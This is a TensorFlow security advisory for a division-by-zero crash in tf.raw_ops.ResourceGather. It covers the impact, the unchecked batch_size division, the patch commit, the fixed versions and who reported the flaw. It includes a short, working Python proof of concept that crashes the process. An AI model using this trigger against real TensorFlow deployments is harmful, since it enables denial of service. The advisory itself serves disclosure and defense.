Division by 0 in `ResourceGather`

Impact

An attacker can trigger a crash via a floating point exception in tf.raw_ops.ResourceGather:

```python

import tensorflow as tf

tensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32)

v = tf.Variable(tensor)

tf.raw_ops.ResourceGather(

resource=v.handle,

indices=[0],

dtype=tf.uint32,

batch_dims=1,

validate_indices=False)

`

The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L725-L731) computes the value of a value, batch_size, and then divides by it without checking that this value is not 0.

Patches

We have patched the issue in GitHub commit [ac117ee8a8ea57b73d34665cdf00ef3303bc0b11](https://github.com/tensorflow/tensorflow/commit/ac117ee8a8ea57b73d34665cdf00ef3303bc0b11).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.